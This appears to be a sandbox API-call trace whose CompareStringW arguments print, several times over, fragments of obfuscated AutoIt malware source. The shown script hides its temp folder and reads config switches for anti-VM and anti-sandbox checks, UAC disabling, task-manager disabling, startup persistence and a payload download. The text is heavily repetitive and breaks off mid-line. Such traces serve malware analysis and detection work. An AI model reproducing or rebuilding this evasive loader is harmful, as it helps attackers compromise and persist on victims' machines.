= @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.195] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="9 = 0x1\r\nGlobal Const $53675A741B726EAC88522D14B9F334E1 = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.195] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=" = 0x1\r\nGlobal Const $53675A741B726EAC88522D14B9F334E1 = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5,", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.195] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="= 0x1\r\nGlobal Const $53675A741B726EAC88522D14B9F334E1 = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, ", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.195] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=" 0x1\r\nGlobal Const $53675A741B726EAC88522D14B9F334E1 = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, 